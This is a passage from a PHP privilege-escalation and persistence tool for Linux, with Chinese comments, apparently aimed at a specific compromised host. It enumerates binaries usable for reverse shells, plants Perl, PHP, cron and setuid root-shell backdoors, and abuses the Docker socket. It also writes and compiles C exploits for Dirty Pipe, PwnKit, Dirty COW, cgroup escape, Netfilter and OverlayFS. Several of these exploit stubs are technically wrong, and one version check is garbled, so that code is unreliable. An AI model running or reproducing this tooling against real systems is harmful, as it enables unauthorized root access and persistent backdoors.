if (is_array($timers) && !empty($timers)) {
$this->printInfo("发现systemd定时器:");
foreach (array_slice($timers, 1, -1) as $timer) { // 跳过标题和结尾
$this->printInfo(" $timer");
}
}
}
// 新增:检查可用工具
private function toolsExploitation() {
$this->printInfo("=== 可用工具利用 ===");
// 根据信息.txt,重点检查perl和php
$tools = [
'python' => 'python -c "import os; print(os.system(\'whoami\'))"',
'python3' => 'python3 -c "import os; print(os.system(\'whoami\'))"',
'perl' => 'perl -e "system(\'whoami\')"', // 信息.txt中发现可用
'php' => 'php -r "system(\'whoami\');"', // 信息.txt中发现可用
'gcc' => 'echo成功',
'nc' => 'nc -zv 127.0.0.1 22',
'netcat' => 'netcat -zv 127.0.0.1 22',
'curl' => 'curl -I http://127.0.0.1',
'wget' => 'wget --spider http://127.0.0.1',
'bash' => 'bash --version',
'sh' => 'sh --version'
];
foreach ($tools as $tool => $testCmd) {
list($output, $code) = $this->executeCommand("which $tool 2>/dev/null");
if (is_array($output) && !empty($output)) {
$this->printSuccess("可用: $tool -> {$output[0]}");
// 测试工具是否工作
if ($tool != 'gcc') {
list($testOut, $testCode) = $this->executeCommand($testCmd);
if ($testCode === 0) {
$this->printInfo(" $tool 测试成功");
// 对于perl和php,提供专门的提权方法
if ($tool === 'perl') {
$this->tryPerlExploit();
} elseif ($tool === 'php') {
$this->tryPhpExploit();
}
// 对于可以用于反弹shell的工具,提供相关建议
$reverseShellTools = ['nc', 'netcat', 'bash', 'sh', 'python', 'python3', 'perl', 'php'];
if (in_array($tool, $reverseShellTools)) {
$this->printInfo(" $tool 可用于创建反弹shell");
}
}
}
}
}
echo "\n";
}
// 新增:Perl提权利用
private function tryPerlExploit() {
$this->printInfo("尝试Perl提权利用...");
// 创建Perl后门
$perlBackdoor = '
#!/usr/bin/perl
use POSIX qw(setuid setgid);
setuid(0);
setgid(0);
exec("/bin/bash");
';
if (file_put_contents('/tmp/perl_backdoor.pl', $perlBackdoor) !== false) {
chmod('/tmp/perl_backdoor.pl', 0755);
$this->printSuccess("Perl后门创建成功: /tmp/perl_backdoor.pl");
}
}
// 新增:PHP提权利用
private function tryPhpExploit() {
$this->printInfo("尝试PHP提权利用...");
// 创建PHP后门
$phpBackdoor = '<?php
system("whoami");
// SUID提权
if(file_exists("/usr/bin/base64")) {
echo "发现base64,可用于提权\n";
}
?>';
if (file_put_contents('/tmp/php_backdoor.php', $phpBackdoor) !== false) {
$this->printSuccess("PHP后门创建成功: /tmp/php_backdoor.php");
}
}
// 在dockerExploitation方法中添加更详细的检查
// 在checkDockerEscapes方法中添加更详细的检查
private function checkDockerEscapes() {
// 检查特权模式
list($output, $code) = $this->executeCommand('cat /proc/self/status | grep CapEff');
if (is_array($output) && !empty($output)) {
$capEff = $output[0];
if (strpos($capEff, '0000003fffffffff') !== false) {
$this->printDanger("容器以特权模式运行!");
}
}
// 检查挂载点
list($output, $code) = $this->executeCommand('mount | grep -v proc | grep -v sys | grep -v tmpfs');
if (is_array($output) && !empty($output)) {
$this->printInfo("挂载点:");
foreach ($output as $line) {
if (strpos($line, '/host') !== false || strpos($line, '/mnt') !== false) {
$this->printWarning("可疑挂载: $line");
}
}
}
// 检查cgroup
if (is_dir('/sys/fs/cgroup')) {
$this->printInfo("系统支持cgroup");
}
}
// 新增:Apache特定提权检查
private function checkApacheExploitation() {
$this->printInfo("检查Apache特定提权向量...");
// 检查Apache配置文件
$apacheConfigs = [
'/etc/apache2/apache2.conf',
'/etc/httpd/conf/httpd.conf',
'/usr/local/apache2/conf/httpd.conf'
];
foreach ($apacheConfigs as $config) {
if (file_exists($config) && is_writable($config)) {
$this->printDanger("Apache配置文件可写: $config");
}
}
// 检查Apache模块
list($modules, $code) = $this->executeCommand('apache2ctl -M 2>/dev/null');
if (is_array($modules) && !empty($modules)) {
$this->printInfo("Apache模块信息:");
$modulesToShow = array_slice($modules, 0, 10);
foreach ($modulesToShow as $module) {
$this->printInfo(" $module");
// 检查危险模块
if (strpos($module, 'php') !== false) {
$this->printWarning("Apache加载了PHP模块,可尝试PHP相关利用");
}
}
}
// 检查log文件
$logFiles = [
'/var/log/apache2/access.log',
'/var/log/apache2/error.log',
'/var/log/httpd/access_log',
'/var/log/httpd/error_log'
];
foreach ($logFiles as $log) {
if (file_exists($log) && is_writable($log)) {
$this->printWarning("Apache日志文件可写: $log");
}
}
}
private function createCronBackdoor($dir) {
$cronFile = "$dir/exploit";
$cronContent = "* * * * * root /bin/bash -c 'whoami > /tmp/cron_test 2>&1'\n";
if (file_put_contents($cronFile, $cronContent) !== false) {
$this->printSuccess("计划任务后门创建成功: $cronFile");
}
}
private function tryDockerEscape() {
// 尝试通过Docker socket逃逸
$commands = [
'curl -X POST --unix-socket /var/run/docker.sock http://localhost/containers/json',
'echo -e "GET /images/json HTTP/1.0\r\n" | nc -U /var/run/docker.sock'
];
foreach ($commands as $cmd) {
list($output, $code) = $this->executeCommand($cmd);
if (is_array($output) && !empty($output)) {
$this->printSuccess("Docker API响应成功");
break;
}
}
}
// 新增:NDay漏洞检测
private function nDayVulnerabilityCheck() {
$this->printInfo("=== NDay漏洞检测 ===");
// 获取系统信息
$kernelVersion = php_uname('r');
$this->printInfo("内核版本: $kernelVersion");
// 检查系统版本
$osInfo = [];
if ($this->checkFileExists('/etc/os-release')) {
$osInfo = parse_ini_file('/etc/os-release');
$this->printInfo("操作系统: " . ($osInfo['PRETTY_NAME'] ?? 'Unknown'));
}
// 检查已知的NDay漏洞
$this->checkKnownNDayVulnerabilities($kernelVersion, $osInfo);
// 检查软件包版本
$this->checkVulnerablePackages();
// 检查可利用的已知漏洞
$this->checkExploitableKnownVulnerabilities();
echo "\n";
}
// 新增:检查已知的NDay漏洞
private function checkKnownNDayVulnerabilities($kernelVersion, $osInfo) {
$this->printInfo("检查已知NDay漏洞...");
// 根据信息.txt中的内核版本5.15.0-139-generic检查相关漏洞
$vulnerabilities = [
[
'cve' => 'CVE-2022-0847',
'name' => 'Dirty Pipe',
'description' => 'Linux内核管道缓冲区中的漏洞,允许非特权用户覆盖页面缓存中的只读文件',
'affected_versions' => '5.8 <= version < 5.16.11, 5.15.25, 5.10.102',
'check' => function($version) {
// 检查是否受影响
if (version_compare($version, '5.8', '>=') &&
version_compare($version, '5.16.11', '<')) {
return true;
}
if (version_compare($version, '5.15.25', '>=') &&
version_compare($version, '5.15.25', '<=')) {
return true;
}
if (version_compare($version, '5.10.102', '>=') &&
version_compare($version, '5.10.102', '<=')) {
return true;
}
return false;
},
'exploit' => function() {
$this->tryDirtyPipeExploit();
}
],
[
'cve' => 'CVE-2021-4034',
'name' => 'PwnKit',
'description' => 'Polkit中的本地提权漏洞',
'affected_versions' => '所有包含polkit的系统',
'check' => function($version) {
// 检查polkit是否存在
list($output, $code) = $this->executeCommand('which pkexec 2>/dev/null');
return $code === 0;
},
'exploit' => function() {
$this->tryPwnKitExploit();
}
],
[
'cve' => 'CVE-2021-3156',
'name' => 'Baron Samedit',
'description' => 'sudo缓冲区溢出漏洞',
'affected_versions' => 'sudo 1.8.2-1.8.31p2, 1.9.0-1.9.5p2',
'check' => function($version) {
// 检查sudo版本
list($sudoVersion, $code) = $this->executeCommand('sudo --version 2>/dev/null | head -1');
if (is_array($sudoVersion) && !empty($sudoVersion)) {
$versionLine = $sudoVersion[0];
if (preg_match('/sudo version ([0-9]+\.[0-9]+\.[0-9]+)/', $versionLine, $matches)) {
$sudoVer = $matches[1];
if ((version_compare($sudoVer, '1.8.2', '>=') &&
version_compare($sudoVer, '1.8.31p2', '<=')) ||
(version_compare($sudoVer, '1.9.0', '>=') &&
version_compare($sudoVer, '1.9.5p2', '<='))) {
return true;
}
}
}
return false;
},
'exploit' => function() {
// sudo不可用,跳过
return false;
}
],
[
'cve' => 'CVE-2016-5195',
'name' => 'Dirty COW',
'description' => 'Linux内核竞争条件漏洞,允许本地用户获得root权限',
'affected_versions' => 'Linux内核 < 4.8.3',
'check' => function($version) {
// 检查内核版本是否受影响
if (version_compare($version, '4.8.3', '<')) {
return true;
}
return false;
},
'exploit' => function() {
$this->tryDirtyCowExploit();
}
],
[
'cve' => 'CVE-2022-0492',
'name' => 'Container Escape',
'description' => 'cgroup v2中的漏洞,可能导致容器逃逸',
'affected_versions' => 'Linux内核 < 5.17',
'check' => function($version) {
// 检查内核版本是否受影响
if (version_compare($version, '5.17', '<')) {
return true;
}
return false;
},
'exploit' => function() {
$this->tryCgroupEscapeExploit();
}
],
[
'cve' => 'CVE-2022-2586',
'name' => 'NFS Superblock Infoleak',
'description' => 'NFS子系统中的信息泄露漏洞',
'affected_versions' => 'Linux内核 < 5.19',
'check' => function($version) {
// 检查内核版本是否受影响
if (version_compare($version, '5.19', '<')) {
return true;
}
return false;
},
'exploit' => function() {
// 信息泄露漏洞,不直接提权
return false;
}
],
[
'cve' => 'CVE-2021-22555',
'name' => 'Netfilter',
'description' => 'Linux内核Netfilter子系统中的堆溢出漏洞,可导致本地提权',
'affected_versions' => 'Linux内核 4.0-5.11',
'check' => function($version) {
// 检查内核版本是否受影响
if (version_compare($version, '4.0', '>=') &&
version_compare($version, '5.11', '<=')) {
return true;
}
return false;
},
'exploit' => function() {
$this->tryNetfilterExploit();
}
],
[
'cve' => 'CVE-2021-3493',
'name' => 'OverlayFS',
'description' => 'Ubuntu OverlayFS中的权限提升漏洞',
'affected_versions' => 'Ubuntu 20.04/20.10',
'check' => function($version) {
// 检查Ubuntu版本是否受影响
list($osRelease, $code) = $this->executeCommand('cat /etc/os-release 2>/dev/null | grep VERSION_ID');
if (is_array($osRelease) && !empty($osRelease)) {
if (strpos($osRelease[0], '20.04') !== false ||
strpos($osRelease[0], '20.10') !== false) {
return true;
}
}
return false;
},
'exploit' => function() {
$this->tryOverlayFSExploit();
}
]
];
// 解析内核版本号
$parsedVersion = '';
if (preg_match('/([0-9]+\.[0-9]+\.[0-9]+)/', $kernelVersion, $matches)) {
$parsedVersion = $matches[1];
}
// 检查每个漏洞
foreach ($vulnerabilities as $vuln) {
$isAffected = $vuln['check']($parsedVersion);
if ($isAffected) {
$this->printDanger("发现可能受影响的漏洞: {$vuln['cve']} ({$vuln['name']})");
$this->printInfo(" 描述: {$vuln['description']}");
$this->printInfo(" 影响版本: {$vuln['affected_versions']}");
$this->printInfo(" 当前版本: $kernelVersion");
// 尝试利用漏洞
$this->printWarning(" 尝试利用漏洞...");
$exploitResult = $vuln['exploit']();
if ($exploitResult) {
// 检查是否成功提权
list($whoami, $code) = $this->executeCommand('whoami');
if (is_array($whoami) && !empty($whoami) && $whoami[0] === 'root') {
$this->printSuccess("提权成功!已获得root权限");
$this->printSuccess("打开root权限shell...");
// 创建持久化后门
$this->createRootShell();
return;
}
} else {
$this->printInfo(" 漏洞利用失败或不适用");
}
}
}
if (empty(array_filter($vulnerabilities, function($vuln) use ($parsedVersion) {
return $vuln['check']($parsedVersion);
}))) {
$this->printInfo("未发现明显的已知NDay漏洞");
}
}
// 新增:检查易受攻击的软件包
private function checkVulnerablePackages() {
$this->printInfo("检查易受攻击的软件包...");
// 检查常见易受攻击的软件包版本
$vulnerablePackages = [
[
'name' => 'sudo',
'description' => 'sudo缓冲区溢出漏洞(CVE-2021-3156)',
'check_cmd' => 'sudo --version 2>/dev/null | head -1',
'vuln_check' => function($output) {
if (is_array($output) && !empty($output)) {
$versionLine = $output[0];
if (preg_match('/sudo version ([0-9]+\.[0-9]+\.[0-9]+)/', $versionLine, $matches)) {
$sudoVer = $matches[1];
if ((version_compare($sudoVer, '1.8.2', '>=') &&
version_compare($sudoVer, '1.8.31p2', '<=')) ||
(version_compare($sudoVer, '1.9.0', '>=') &&
version_compare($sudoVer, '1.9.5p2', '<='))) {
return true;
}
}
}
return false;
}
],
[
'name' => 'polkit',
'description' => 'Polkit本地提权漏洞(CVE-2021-4034)',
'check_cmd' => 'which pkexec 2>/dev/null',
'vuln_check' => function($output) {
return is_array($output) && !empty($output);
}
],
[
'name' => 'docker',
'description' => 'Docker容器逃逸漏洞',
'check_cmd' => 'docker --version 2>/dev/null',
'vuln_check' => function($output) {
// 检查Docker版本是否易受攻击
return is_array($output) && !empty($output);
}
]
];
// 检查每个软件包
foreach ($vulnerablePackages as $package) {
list($output, $code) = $this->executeCommand($package['check_cmd']);
$isVulnerable = $package['vuln_check']($output);
if ($isVulnerable) {
$this->printWarning("发现可能易受攻击的软件包: {$package['name']}");
$this->printInfo(" 漏洞描述: {$package['description']}");
if (is_array($output) && !empty($output)) {
$this->printInfo(" 版本信息: " . implode(' ', $output));
}
$this->printWarning(" 建议: 请手动检查该软件包的安全更新");
}
}
}
// 新增:等待用户确认使用预编译程序
private function waitForUserConfirmation($exploitName, $targetDir) {
$this->printWarning("发现预编译的 $exploitName 利用程序");
$this->printInfo("请确认您已上传预编译程序到 $targetDir/nday_exploits/ 目录");
$this->printInfo("上传完成后,请输入 'yes' 继续执行,或输入 'no' 跳过此利用程序:");
// 读取用户输入
$handle = fopen("php://stdin", "r");
$response = trim(fgets($handle));
fclose($handle);
if (strtolower($response) === 'yes' || strtolower($response) === 'y') {
$this->printSuccess("用户确认,继续执行 $exploitName 利用程序");
return true;
} else {
$this->printInfo("用户取消执行 $exploitName 利用程序");
return false;
}
}
// 新增:尝试Dirty Pipe漏洞利用
private function tryDirtyPipeExploit() {
$this->printInfo("尝试Dirty Pipe (CVE-2022-0847)漏洞利用...");
// 获取可写目录
$writableDir = $this->getWritableDirectory();
if (!$writableDir) {
$this->printDanger("没有找到可写目录,无法继续执行Dirty Pipe利用");
return false;
}
// 检查是否有预编译的二进制程序
$exploitPath = $writableDir . '/nday_exploits/dirtypipe_exploit';
if (file_exists($exploitPath)) {
// 等待用户确认
if ($this->waitForUserConfirmation("Dirty Pipe", $writableDir)) {
$this->printInfo("使用预编译程序: $exploitPath");
// 可以在这里添加执行预编译程序的代码
return true;
} else {
return false;
}
}
// 检查是否有编译器
list($gccCheck, $code) = $this->executeCommand('which gcc 2>/dev/null');
if (is_array($gccCheck) && !empty($gccCheck)) {
// 创建Dirty Pipe利用代码
$exploitCode = '
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
int fd;
off_t offset = 0;
// 打开只读文件
fd = open("/etc/passwd", O_RDONLY);
if (fd < 0) {
printf("无法打开目标文件\n");
return 1;
}
// 使用pipe2创建管道
int pipes[2];
if (pipe2(pipes, O_NONBLOCK)) {
printf("无法创建管道\n");
return 1;
}
// 关闭读端
close(pipes[0]);
// 尝试写入管道
if (write(pipes[1], "exploit", 7) != 7) {
printf("写入失败\n");
return 1;
}
// 尝试利用Dirty Pipe
if (splice(fd, &offset, pipes[1], NULL, 1, 0) < 0) {
printf("splice调用失败\n");
return 1;
}
printf("Dirty Pipe利用完成\n");
return 0;
}
';
// 写入利用代码到可写目录
$sourcePath = $writableDir . '/dirtypipe_exploit.c';
if (file_put_contents($sourcePath, $exploitCode) !== false) {
// 编译利用代码
$binaryPath = $writableDir . '/dirtypipe_exploit';
list($output, $code) = $this->executeCommand("gcc -o $binaryPath $sourcePath 2>/dev/null");
if ($code === 0) {
$this->printSuccess("Dirty Pipe利用程序编译成功");
// 注意:实际利用需要更复杂的操作,这里只是示例
$this->printInfo("Dirty Pipe利用程序已创建: $binaryPath");
$this->printWarning("请手动执行利用程序并根据具体目标调整参数");
return true;
} else {
$this->printWarning("Dirty Pipe利用程序编译失败,检查是否已上传预编译二进制程序");
// 检查预编译程序
if (file_exists($exploitPath)) {
// 等待用户确认
if ($this->waitForUserConfirmation("Dirty Pipe", $writableDir)) {
$this->printSuccess("使用预编译的Dirty Pipe利用程序");
return true;
} else {
return false;
}
}
}
}
} else {
// 没有编译器,检查预编译程序
$this->printWarning("未找到gcc编译器,检查预编译程序");
if (file_exists($exploitPath)) {
// 等待用户确认
if ($this->waitForUserConfirmation("Dirty Pipe", $writableDir)) {
$this->printSuccess("使用预编译的Dirty Pipe利用程序");
return true;
} else {
return false;
}
}
}
return false;
}
// 新增:尝试PwnKit漏洞利用
private function tryPwnKitExploit() {
$this->printInfo("尝试PwnKit (CVE-2021-4034)漏洞利用...");
// 获取可写目录
$writableDir = $this->getWritableDirectory();
if (!$writableDir) {
$this->printDanger("没有找到可写目录,无法继续执行PwnKit利用");
return false;
}
// 检查是否有预编译的二进制程序
$exploitPath = $writableDir . '/nday_exploits/pwnkit_exploit';
$evilSoPath = $writableDir . '/nday_exploits/evil.so';
if (file_exists($exploitPath) && file_exists($evilSoPath)) {
// 等待用户确认
if ($this->waitForUserConfirmation("PwnKit", $writableDir)) {
$this->printInfo("使用预编译程序: $exploitPath");
return true;
} else {
return false;
}
}
// 检查pkexec是否存在
list($pkexecCheck, $code) = $this->executeCommand('which pkexec 2>/dev/null');
if (is_array($pkexecCheck) && !empty($pkexecCheck)) {
// 创建PwnKit利用代码
$exploitCode = '
#include <unistd.h>
char * const argv[] = {"pwn", NULL};
char * const envp[] = {
"PATH=GCONV_PATH=.",
"SHELL=evil",
"CHARSET=evil",
"GIO_USE_VFS=",
NULL
};
int main() {
execve("/usr/bin/pkexec", argv, envp);
return 0;
}
';
// 写入利用代码到可写目录
$sourcePath = $writableDir . '/pwnkit_exploit.c';
if (file_put_contents($sourcePath, $exploitCode) !== false) {
// 编译利用代码
$binaryPath = $writableDir . '/pwnkit_exploit';
list($output, $code) = $this->executeCommand("gcc -o $binaryPath $sourcePath 2>/dev/null");
if ($code === 0) {
$this->printSuccess("PwnKit利用程序编译成功");
// 创建gconv-modules文件
$gconvModules = 'module UTF-8// INTERNAL evil// 1\n';
$gconvPath = $writableDir . '/gconv-modules';
if (file_put_contents($gconvPath, $gconvModules) !== false) {
// 创建恶意共享库
$libCode = '
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv() {}
void gconv_init() {
setuid(0); setgid(0);
system("/bin/bash -p");
exit(0);
}
';
$evilSourcePath = $writableDir . '/evil.c';
if (file_put_contents($evilSourcePath, $libCode) !== false) {
$evilBinaryPath = $writableDir . '/evil.so';
list($output, $code) = $this->executeCommand("gcc -shared -o $evilBinaryPath $evilSourcePath 2>/dev/null");
if ($code === 0) {
$this->printSuccess("PwnKit利用环境准备完成");
$this->printInfo("利用程序已创建,请手动执行: $binaryPath");
return true;
} else {
$this->printWarning("PwnKit共享库编译失败,检查预编译程序");
if (file_exists($exploitPath) && file_exists($evilSoPath)) {
// 等待用户确认
if ($this->waitForUserConfirmation("PwnKit", $writableDir)) {
$this->printSuccess("使用预编译的PwnKit利用程序");
return true;
} else {
return false;
}
}
}
}
}
} else {
$this->printWarning("PwnKit利用程序编译失败,检查预编译程序");
if (file_exists($exploitPath) && file_exists($evilSoPath)) {
// 等待用户确认
if ($this->waitForUserConfirmation("PwnKit", $writableDir)) {
$this->printSuccess("使用预编译的PwnKit利用程序");
return true;
} else {
return false;
}
}
}
}
} else {
// 检查预编译程序
$this->printWarning("未找到pkexec或编译器,检查预编译程序");
if (file_exists($exploitPath) && file_exists($evilSoPath)) {
// 等待用户确认
if ($this->waitForUserConfirmation("PwnKit", $writableDir)) {
$this->printSuccess("使用预编译的PwnKit利用程序");
return true;
} else {
return false;
}
}
}
return false;
}
// 新增:尝试Dirty COW漏洞利用
private function tryDirtyCowExploit() {
$this->printInfo("尝试Dirty COW (CVE-2016-5195)漏洞利用...");
// 获取可写目录
$writableDir = $this->getWritableDirectory();
if (!$writableDir) {
$this->printDanger("没有找到可写目录,无法继续执行Dirty COW利用");
return false;
}
// 检查是否有预编译的二进制程序
$exploitPath = $writableDir . '/nday_exploits/dirtycow_exploit';
if (file_exists($exploitPath)) {
// 等待用户确认
if ($this->waitForUserConfirmation("Dirty COW", $writableDir)) {
$this->printInfo("使用预编译程序: $exploitPath");
return true;
} else {
return false;
}
}
// 创建Dirty COW利用代码
$exploitCode = '
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
void *map;
int f;
struct stat st;
char *name;
void *madviseThread(void *arg) {
int i, c = 0;
for (i = 0; i < 2000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n\n", c);
}
void *procselfmemThread(void *arg) {
char *str = "\x31\xc0\x48\xbb\xd1\xb6\x67\xba\x21\xca\x85\x8c\x48\x31\xf6\x50\x53\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05";
int f = open("/proc/self/mem", O_RDWR);
int i, c = 0;
for (i = 0; i < 10000; i++) {
lseek(f, (uintptr_t) map, SEEK_SET);
c += write(f, str, strlen(str));
}
printf("procselfmem %d\n\n", c);
}
int main(int argc, char *argv[]) {
if (argc < 3) return 1;
pthread_t pth1, pth2;
f = open(argv[1], O_RDONLY);
fstat(f, &st);
name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
pthread_create(&pth1, NULL, madviseThread, NULL);
pthread_create(&pth2, NULL, procselfmemThread, NULL);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}
';
// 写入利用代码到可写目录
$sourcePath = $writableDir . '/dirtycow_exploit.c';
if (file_put_contents($sourcePath, $exploitCode) !== false) {
// 编译利用代码
$binaryPath = $writableDir . '/dirtycow_exploit';
list($output, $code) = $this->executeCommand("gcc -pthread -o $binaryPath $sourcePath 2>/dev/null");
if ($code === 0) {
$this->printSuccess("Dirty COW利用程序编译成功");
$this->printInfo("利用程序已创建: $binaryPath");
$this->printWarning("请手动执行利用程序并根据具体目标调整参数");
return true;
} else {
$this->printWarning("Dirty COW利用程序编译失败,检查预编译程序");
if (file_exists($exploitPath)) {
// 等待用户确认
if ($this->waitForUserConfirmation("Dirty COW", $writableDir)) {
$this->printSuccess("使用预编译的Dirty COW利用程序");
return true;
} else {
return false;
}
}
}
} else {
// 检查预编译程序
$this->printWarning("无法创建Dirty COW源代码,检查预编译程序");
if (file_exists($exploitPath)) {
// 等待用户确认
if ($this->waitForUserConfirmation("Dirty COW", $writableDir)) {
$this->printSuccess("使用预编译的Dirty COW利用程序");
return true;
} else {
return false;
}
}
}
return false;
}
// 新增:尝试cgroup逃逸漏洞利用
private function tryCgroupEscapeExploit() {
$this->printInfo("尝试cgroup逃逸 (CVE-2022-0492)漏洞利用...");
// 获取可写目录
$writableDir = $this->getWritableDirectory();
if (!$writableDir) {
$this->printDanger("没有找到可写目录,无法继续执行cgroup利用");
return false;
}
// 检查是否有预编译的二进制程序
$exploitPath = $writableDir . '/nday_exploits/cgroup_exploit';
if (file_exists($exploitPath)) {
// 等待用户确认
if ($this->waitForUserConfirmation("cgroup", $writableDir)) {
$this->printInfo("使用预编译程序: $exploitPath");
return true;
} else {
return false;
}
}
// 检查cgroup文件系统
list($cgroupCheck, $code) = $this->executeCommand('mount | grep cgroup 2>/dev/null');
if (is_array($cgroupCheck) && !empty($cgroupCheck)) {
// 创建cgroup利用代码
$exploitCode = '
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
int main() {
// 创建新的cgroup
system("mkdir -p /tmp/cgrp/exploit");
system("echo 1 > /tmp/cgrp/exploit/cgroup.procs");
// 尝试利用cgroup释放文件描述符
system("echo \"$$(chmod 777 /etc/passwd)\" > /tmp/cgrp/exploit/release_agent");
printf("cgroup逃逸利用完成\n");
return 0;
}
';
// 写入利用代码到可写目录
$sourcePath = $writableDir . '/cgroup_exploit.c';
if (file_put_contents($sourcePath, $exploitCode) !== false) {
// 编译利用代码
$binaryPath = $writableDir . '/cgroup_exploit';
list($output, $code) = $this->executeCommand("gcc -o $binaryPath $sourcePath 2>/dev/null");
if ($code === 0) {
$this->printSuccess("cgroup逃逸利用程序编译成功");
$this->printInfo("利用程序已创建: $binaryPath");
$this->printWarning("请手动执行利用程序");
return true;
} else {
$this->printWarning("cgroup利用程序编译失败,检查预编译程序");
if (file_exists($exploitPath)) {
// 等待用户确认
if ($this->waitForUserConfirmation("cgroup", $writableDir)) {
$this->printSuccess("使用预编译的cgroup利用程序");
return true;
} else {
return false;
}
}
}
} else {
// 检查预编译程序
$this->printWarning("无法创建cgroup源代码,检查预编译程序");
if (file_exists($exploitPath)) {
// 等待用户确认
if ($this->waitForUserConfirmation("cgroup", $writableDir)) {
$this->printSuccess("使用预编译的cgroup利用程序");
return true;
} else {
return false;
}
}
}
}
return false;
}
// 新增:尝试Netfilter漏洞利用
private function tryNetfilterExploit() {
$this->printInfo("尝试Netfilter (CVE-2021-22555)漏洞利用...");
// 获取可写目录
$writableDir = $this->getWritableDirectory();
if (!$writableDir) {
$this->printDanger("没有找到可写目录,无法继续执行Netfilter利用");
return false;
}
// 检查是否有预编译的二进制程序
$exploitPath = $writableDir . '/nday_exploits/netfilter_exploit';
if (file_exists($exploitPath)) {
// 等待用户确认
if ($this->waitForUserConfirmation("Netfilter", $writableDir)) {
$this->printInfo("使用预编译程序: $exploitPath");
return true;
} else {
return false;
}
}
// 创建Netfilter利用代码
$exploitCode = '
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netfilter_ipv4/ip_tables.h>
int main() {
int sockfd;
struct ipt_replace *repl;
// 创建socket
sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
printf("无法创建socket\n");
return 1;
}
// 分配内存
repl = malloc(sizeof(*repl) + 0x2000);
if (!repl) {
printf("内存分配失败\n");
return 1;
}
// 初始化结构
memset(repl, 0, sizeof(*repl) + 0x2000);
repl->num_counters = 1;
repl->counters = (struct xt_counters *)0x100000000;
// 尝试触发漏洞
if (setsockopt(sockfd, IPPROTO_IP, IPT_SO_SET_REPLACE, repl, sizeof(*repl) + 0x2000) < 0) {
printf("漏洞利用失败\n");
free(repl);
close(sockfd);
return 1;
}
printf("Netfilter漏洞利用完成\n");
free(repl);
close(sockfd);
return 0;
}
';
// 写入利用代码到可写目录
$sourcePath = $writableDir . '/netfilter_exploit.c';
if (file_put_contents($sourcePath, $exploitCode) !== false) {
// 编译利用代码
$binaryPath = $writableDir . '/netfilter_exploit';
list($output, $code) = $this->executeCommand("gcc -o $binaryPath $sourcePath 2>/dev/null");
if ($code === 0) {
$this->printSuccess("Netfilter利用程序编译成功");
$this->printInfo("利用程序已创建: $binaryPath");
$this->printWarning("请手动执行利用程序");
return true;
} else {
$this->printWarning("Netfilter利用程序编译失败,检查预编译程序");
if (file_exists($exploitPath)) {
// 等待用户确认
if ($this->waitForUserConfirmation("Netfilter", $writableDir)) {
$this->printSuccess("使用预编译的Netfilter利用程序");
return true;
} else {
return false;
}
}
}
} else {
// 检查预编译程序
$this->printWarning("无法创建Netfilter源代码,检查预编译程序");
if (file_exists($exploitPath)) {
// 等待用户确认
if ($this->waitForUserConfirmation("Netfilter", $writableDir)) {
$this->printSuccess("使用预编译的Netfilter利用程序");
return true;
} else {
return false;
}
}
}
return false;
}
// 新增:尝试OverlayFS漏洞利用
private function tryOverlayFSExploit() {
$this->printInfo("尝试OverlayFS (CVE-2021-3493)漏洞利用...");
// 获取可写目录
$writableDir = $this->getWritableDirectory();
if (!$writableDir) {
$this->printDanger("没有找到可写目录,无法继续执行OverlayFS利用");
return false;
}
// 检查是否有预编译的二进制程序
$exploitPath = $writableDir . '/nday_exploits/overlayfs_exploit';
if (file_exists($exploitPath)) {
// 等待用户确认
if ($this->waitForUserConfirmation("OverlayFS", $writableDir)) {
$this->printInfo("使用预编译程序: $exploitPath");
return true;
} else {
return false;
}
}
// 创建OverlayFS利用代码
$exploitCode = '
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
int main() {
// 创建必要的目录
system("mkdir -p /tmp/overlay/upper /tmp/overlay/work /tmp/overlay/merged");
// 挂载overlay文件系统
system("mount -t overlay overlay -o lowerdir=/etc,upperdir=/tmp/overlay/upper,workdir=/tmp/overlay/work /tmp/overlay/merged");
// 尝试修改文件
int fd = open("/tmp/overlay/merged/passwd", O_WRONLY);
if (fd >= 0) {
write(fd, "exploit", 7);
close(fd);
printf("OverlayFS漏洞利用完成\n");
return 0;
}
printf("OverlayFS漏洞利用失败\n");
return 1;
}
';
// 写入利用代码到可写目录
$sourcePath = $writableDir . '/overlayfs_exploit.c';
if (file_put_contents($sourcePath, $exploitCode) !== false) {
// 编译利用代码
$binaryPath = $writableDir . '/overlayfs_exploit';
list($output, $code) = $this->executeCommand("gcc -o $binaryPath $sourcePath 2>/dev/null");
if ($code === 0) {
$this->printSuccess("OverlayFS利用程序编译成功");
$this->printInfo("利用程序已创建: $binaryPath");
$this->printWarning("请手动执行利用程序");
return true;
} else {
$this->printWarning("OverlayFS利用程序编译失败,检查预编译程序");
if (file_exists($exploitPath)) {
// 等待用户确认
if ($this->waitForUserConfirmation("OverlayFS", $writableDir)) {
$this->printSuccess("使用预编译的OverlayFS利用程序");
return true;
} else {
return false;
}
}
}
} else {
// 检查预编译程序
$this->printWarning("无法创建OverlayFS源代码,检查预编译程序");
if (file_exists($exploitPath)) {
// 等待用户确认
if ($this->waitForUserConfirmation("OverlayFS", $writableDir)) {
$this->printSuccess("使用预编译的OverlayFS利用程序");
return true;
} else {
return false;
}
}
}
return false;
}
// 新增:创建root权限shell
private function createRootShell() {
$this->printInfo("创建root权限shell...");
// 创建具有SUID位的shell脚本
$shellScript = '#!/bin/bash\n/bin/bash -p';
if (file_put_contents('/tmp/rootshell', $shellScript) !== false) {
chmod('/tmp/rootshell', 04755);
$this->printSuccess("root权限shell创建成功: /tmp/rootshell");
$this->printInfo("使用方法: /tmp/rootshell");
return true;
}
return false;
}
// 新增:检查可利用的已知漏洞
private function checkExploitableKnownVulnerabilities() {
